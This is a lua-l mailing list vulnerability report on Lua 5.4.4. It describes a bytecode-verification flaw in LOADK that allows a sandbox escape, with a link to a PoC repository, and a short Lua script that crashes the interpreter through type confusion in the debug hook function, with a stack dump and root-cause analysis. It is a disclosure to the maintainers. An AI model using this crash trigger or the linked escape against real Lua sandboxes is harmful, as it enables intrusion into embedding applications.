lua-users home
lua-l archive

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


Hi, me and my friends have formed a team called Nil Armstrong to look for vulnerabilities in Lua these days. Then we found the bytecode vulnerability still exists and crashes due to type confusion.

 

As you know, lua doesn’t have verification of the bytecode.

 

This causes constants to be out of bounds when performing LOADK bytecode.

 

This has been mentioned before. like

http://lua-users.org/lists/lua-l/2016-09/msg00191.html

 

Nevertheless, we would like to inform you that a vulnerability that work on lua 5.2.4 also applies to the latest version 5.4.4.

 

By referring to the previous exploit code and modifying a part, you can see that the code is still applied.

 

[previous exploit code : https://github.com/erezto/lua-sandbox-escape]

 

If you plan to modify it, please refer to the root cause and poc code below.

 

--------------------------------------------------------------------------------------------------------------------------

[PoC]

 

https://github.com/Lua-Project/lua-5.4.4-sandbox-escape

--------------------------------------------------------------------------------------------------------------------------

 

[Root cause]

 

lvm.c, luaV_execute function

vmcase(OP_LOADK) {

        TValue *rb = k + GETARG_Bx(i);

        setobj2s(L, ra, rb);

        vmbreak;

      }

 

There isn’t verification of instruction I and GETARG_BX.

 

--------------------------------------------------------------------------------------------------------------------------

Second. We found SEGV crash on lua 5.4.4.

 

Analyzing this, we think it was because of type confusion.

 

Version :

Lua .5.4.4, git hash 0e5071b5fbcc244d9f8c4bae82e327ad59bccc3f

Ubuntu 20.04.3 LTS

glibc 2.31

 

PoC:

--------------------------------------------------------------------------------------------------------------------------

 

collectgarbage('stop')

debug.sethook(function () end, "r")

setmetatable(debug.getregistry(), {__mode = 'kv'})

collectgarbage()

--------------------------------------------------------------------------------------------------------------------------

 

How to reproduce:

--------------------------------------------------------------------------------------------------------------------------

./lua poc.lua

--------------------------------------------------------------------------------------------------------------------------

 

 

Stack dump:

--------------------------------------------------------------------------------------------------------------------------

 

#0  getgeneric (t=<optimized out>, key=0x5555555999a0, deadok=deadok@entry=0) at ltable.c:303

#1  0x000055555556ca35 in luaH_get (t=<optimized out>, key=<optimized out>) at ltable.c:801

#2  0x000055555555e7ed in lua_rawget (L=L@entry=0x5555555992a8, idx=idx@entry=-2) at lapi.c:740

#3  0x000055555557bb26 in hookf (L=0x5555555992a8, ar=0x7fffffffd550) at ldblib.c:328

#4  0x0000555555561991 in luaD_hook (L=L@entry=0x5555555992a8, event=event@entry=1, line=line@entry=-1, ftransfer=<optimized out>, ntransfer=<optimized out>) at ldo.c:331

#5  0x0000555555561a60 in rethook (L=0x5555555992a8, ci=0x5555555a0ce0, nres=nres@entry=1) at ldo.c:377

#6  0x0000555555561d87 in luaD_poscall (L=L@entry=0x5555555992a8, ci=ci@entry=0x5555555a0ce0, nres=1) at ldo.c:464

#7  0x00005555555620f2 in luaD_precall (L=0x5555555992a8, func=0x555555599970, nresults=0) at ldo.c:545

#8  0x0000555555570224 in luaV_execute (L=L@entry=0x5555555992a8, ci=<optimized out>) at lvm.c:1636

--------------------------------------------------------------------------------------------------------------------------

 

 

[Root cause]

--------------------------------------------------------------------------------------------------------------------------

in hookf function,

 

/*

** Call hook function registered at hook table for the current

** thread (if there is one)

*/

static void hookf (lua_State *L, lua_Debug *ar) {

  static const char *const hooknames[] =

    {"call", "return", "line", "count", "tail call"};

  lua_getfield(L, LUA_REGISTRYINDEX, HOOKKEY);

  lua_pushthread(L);

  if (lua_rawget(L, -2) == LUA_TFUNCTION) {  /* is there a hook function? */

    lua_pushstring(L, hooknames[(int)ar->event]);  /* push event name */

    if (ar->currentline >= 0)

      lua_pushinteger(L, ar->currentline);  /* push current line */

    else lua_pushnil(L);

    lua_assert(lua_getinfo(L, "lS", ar));

    lua_call(L, 2, 0);  /* call hook function */

  }

}

 

It calls lua_getfield(L, LUA_REGISTRYINDEX, HOOKKEY).

 

The auxgetstr function is called in lua_getfield. At this time, the function finds the table with HOOKKEY as the key value.

 

if it doesn’t exist, it creates a TString variable with HOOKKEY as a string and pushes it to L->top.

 

The pushed value is then used in lua_rawget. At this time, the data type of the variable returned after calling the index2value function in the gettable function that is received as a Table datatype is TString.

 

After that, type check is done through the api_check macro, but it is not reflected in the binary in the default build environment.

 

This causes type confusion between TString variables and Table variables.

 

--------------------------------------------------------------------------------------------------------------------------

 

Found by: Kang woosun.

Attachment: signature.asc
Description: Message signed with OpenPGP